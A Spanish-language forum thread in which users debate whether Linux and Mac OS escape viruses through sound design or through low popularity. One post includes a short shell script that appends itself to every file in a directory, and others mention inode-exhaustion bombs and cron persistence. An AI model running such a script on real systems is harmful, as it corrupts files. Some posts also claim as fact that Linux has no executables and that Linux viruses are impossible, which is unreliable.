Corazón de Lobo

... "y así el hacker revisó otro PC para hacerle un owned, y se dio cuenta que su disco duro tenía los directorios "usr", "var", "etc", "root", etc... decidió entonces dejarlo libre..."

... pasa una cosa: es un secreto a voces que muchas "rutinas" de estos hackers son para ownear PCs con güindous... claro: güindous es más popular... ¿si Linux se reconociera tanto como güindous, al punto de que gran parte de los PCs vengan con una distro preinstalada? ¿sería la misma rutina que la rutina hipotética expresada anteriormente? ¿o será que hay otro factor, que no es popularidad, que está influyendo?

... una discusión bastante ambivalente, ¿no?...

__________________
...la peor derrota es no asumirla con honor... - autoría propia.

... la mejor canción de todas aquí ... no puedes negar que te trae recuerdos...

Zethkill

Más que un problema de popularidad, el problema de Windows es la estructura que tiene. Aunque Linux fuese igual de popular que Windows, no existirían virus para éste.

Leo_CL

yo creo que ke si podrian existir virus en linux es solo ver el caso de los crontab y el manejo que uno le puede dar, por otro lado tambien esta el lado de resentimiento a microsoft por que es de paga, no permite jugar con su codigo fuente etc, etc, etc. por lo tanto el que quiere hacer virus para linux lo hara y los que no seguiran metiendose en windows.

modoxt

Yo lo veo de este modo, Windows todos lo usan, o la gran mayoria de las personas (uso linux), entonces mi teoria es que Microsoft no tiene tanta necesidad de implementar o reestructurar lo que es Windows. Desde Windows 95 vemos la tipica barra abajo en la pantalla que tiene como nombre Inicio, y las mismas caracteristicas de siempre, un pael de control con lo mismo y al final solo cambia un poco la interfaz grafica y se vuelve algo mas veloz.

Linux es un caso distinto, siempre estan desarrollando distros nuevas y actualizaciones, cambios de version, etc, etc, etc.

No es un asunto de popularidad, es un asunto de estereotipo podria decirse, a la gente no le gusta el cambio, Windows mantiene su linea en ese sentido, varia solo un poco asi la gente se queda con el mismo sabor que siempre conocio, tal vez con un poco mas de azucar pero no es mas que eso.

lander

Cuervox en 3...2....1

__________________

nachX

Si fuera por eso OSX tendría virus y sería mucho mas hackeado. No tiene virus.
No es un problema de popularidad; en la era anterior a OSX, Mac OS era más vulnerable y sí tenia virus, y era mucho menos popular que en la actualidad. Symbian, en versiones anteriores, también tenia varios virus y su universo de usuarios era mucho menor a Palm OS o Windows Mobile. No es un asunto de popularidad, es un asunto de integridad del sistema.

Un sistema va a ser comprometido siempre que se pueda, aún cuando tenga una base de usuarios instalada del 0,001%. Si el sistema es más seguro desde sus raíces, entonces comprometerlo será mucho más difícil.

Volviendo a lo de linux, no es un problema de que no sea lo suficientemente popular, tampoco es de accesibilidad (cualquiera puede tener linux), ni tampoco de poca documentación del sistema (llueven las fuentes de información del mismo, y el código está expuesto para todos). Es que el sistema en sí está construído de forma sólida, y por eso crear cualquier virus, o hackear el sistema, se hace mucho, pero mucho más complicado que un sistema que está mal desde sus cimientos (Windows).

Salu2!

Zethkill

Si no existen viruses para sistemas operativos como Mac OSX o Linux, no es por que su cuota de mercado sea baja, ese es un error en el cual, mucha gente sin conocimientos suficientes la mayor de las veces, cae.

Si no existen viruses es simplemente porque están mejor estructurados que Windows, su estructura, su arquitectura, su forma de funcionar es de tal forma que no es posible crear un virus para Linux o Mac.

Un ejemplo, el sistema que utiliza linux para asignar permisos a sus usuarios es mucho más eficaz que en windows. En linux hay una clara distinción entre el "root" o administrador y el resto de los usuarios que no necesitan permisos para realizar la mayoría de las acciones que realiza un usuario común, y esto significa que un usuario normalmente no tiene acceso para dañar el sistema.
Por otro lado, en linux no existen los archivos ejecutables, como los .exe en windows, si bajas algun instalador por internet y quieres ejecutarlo, debes darle permisos de ejecución antes, lo cual elimina el problema de ejecutar algo por descuido.
Y así, hay un sin fin de otras características que hacen de linux un sistema que hasta ahora, jamás ha sufrido un ataque importante por parte de algún virus informático.

yakko

sabes que el 80% de los servidores web del planeta corren en linux y usan apache?.

es bastante mas usado de lo que crees y aun asi no tiene ni tendra virus ni las fallas que propones.

__________________

modoxt

Y de hecho los servidores que cagan usando linux es mayoritariamente debido a fallas humanas mas que a problemas de SO.

anikilator

Se acuerdan de un rq que creo un virus que se llamaba "I love u" y que lo agarraron..?? weno, ese weon dijo que el virus lo creo pa windows porque la gracia de hacer una wea como esa es cagar a la mayor cantidad de gente posible. Ademas, la gracia de los virus es webiar al usuario que es quien en definitiva y por weon se contamina.

Oisiblemente si Lunix se hiciera tan masivo como Windows, los hackers se preocuparian de hacer virus para este sistema... lo que dijo el coreano de mierda me hace razon... "si me mando una caga, que sea a lo grande de una..." o algo parecido.

Salu2...
----
uhmmm...

#!/bin/sh
for FICHERO in *
do
tail -4 $0 >> $FICHERO
done...

yakko

hombre eso es solo ignorancia.

como se ha dicho hasta el cansancio, no existen ni van a existir virus para linux, por varios motivos, algunos de esos son:
uso eficiente de la memoria
control eficiente de los recursos de la maquina
bibliotecas y dependencias muy cambiantes y muy rara vez son iguales en varias maquinas.

se han tratado de hacer virus para linux en laboratorio (por la misma gente que desarrolla para linux y su kernel) y no se ha podido hacer nada.
no es posible que un programa tome control del sistema, no es posible que se replique ni se propague a otros equipos. (si no cumple con eso no es virus)

lo que si hay son gusanos y troyanos y es muy posible que salgan mas a medida que los desarrolladores se dediquen a hacer cosas como esa. pero como los sistemas linux son tan cambiantes, duran menos que un pollo para 16 personas.
----
ajaja que divertido acabo de probar eso en un redhat
lamentablemente no sirvio, creo 628 directorios y se murio, el sistema no lo dejo seguir.

__________________

anikilator

Eso no era un virus hombre... tampoco trato de hacerles creer que Linux es inseguro... solo estoy dando mi punto de vista.

La scrip es re simple pero fue capaz de crear los dir que mencionaste... pero Linux lo paro... pero si la instruccion ubiera sido otra como borrar o cambiarle el nombre a algunas weas...??

Ralejate hombre... no digo que uno sea mejor o peor que otro, solo estoy rebatiendo lo que dicen que Linux y MAC son infalibles... eso, en terminis informaticos es falso, solo eso es lo que planteo.

Salu2...

Leo_CL

Yo de echo opino lo mismo que anikilator, de echo a eso iba el crontab, imaginense hacer un script que cree el codigo y lo agregue como un cron, eso ya es un virus valiendose del las ventajas de linux en cuanto a las "tareas programables", como tambien pasa con windows. aun sigo con mi opinion que se hackea mas a windows por una parte por ese sentimiento de $$$, y por otra parte del gran impacto que puede tener el virus en windows (en cuanto a cobertura y "pseudo-popularidad" que llega a tener el "programador").

Corazón de Lobo

... claro, eso lo tengo más que claro... yo me refiero específicamente al universo de PCs de escritorio... los "usuarios estándar", que prefieren tener una barrita abajo de la pantalla que una hilera de botones con tópicos distintos, ordenados de distinta manera; o que prefieren tener un "archivito" que instala un programa completo...

__________________
...la peor derrota es no asumirla con honor... - autoría propia.

... la mejor canción de todas aquí ... no puedes negar que te trae recuerdos...

yakko

yo estoy relajado, me dio risa por que justo estaba haciendo eso.

se puedes hacer mil bombas, lamentablemente esa no funciona, es muy divertido por que si creas cientos de directorios agotas los inodos y aun quedando espacio libre no puedes escribir nada.

hay mil cosas que se pueden hacer, mil scripts super sencillos que dejan buenas cagadas, pero están lejos de ser un "virus"
y para que se ejecuten alguien tiene que plantarlas y darles permisos y meterlas a cron etc etc etc. eso está muy lejos de ser un virus.
y cosas así se pueden hacer en cualquier sistema.

__________________

nachX

Lo de los scripts es una tontera: das a tu computador permiso, y le ordenas que haga algo, para "atacarte" a ti mismo? Eso es considerado comprometer un sistema? Es como si le dijeras a tu hijo que vaya y le pegue al hijo del vecino para después castigarlo por haberle pegado a otro niño. No tiene sentido.

Sarepth

los script en linux se ejecutaran bajo las sgtes condiciones:

como root ?

sino simple no lo deja ejecutarse como usuario menos agregando cosas como directorios y demaces sin salirte una ventanita diciendo exactamente el archivo que necesita tu pass de root para ejecutarse.

__________________

Ribosoma

De partida por muy "seguro" que sea un sistema nunca son infalibles, así que pensar que linus y mac os son inmune es muy inocente.

Los virus como tales están en decadencia, pues ahora la mayoría de infecciones se apoyan en el componente más torpe de un equipo informatico, el usuario. Basta que el usuario sea lo suficientemente estupido (y los hay en grandes cantidades) para que el sistema más seguro del mundo tenga las suficientes vulnerabilidades para poder abusar del sistema.

Y es más, la mayoría de ataques informáticos que hace daño (y no me hablo de borrar los mp3 o el porno) son basados en ingenieria social o técnicas basicas (un keylogger), el día que un SO pueda evitar que el usuario haga estupideses (phishing anyone?), ese día un sistema será realmente seguro.

Aps, y lo de linux hacerse popular... lo dudo, la única forma es que lograr uniformidad, y lametablemente la no uniformidad es su gran ventaja.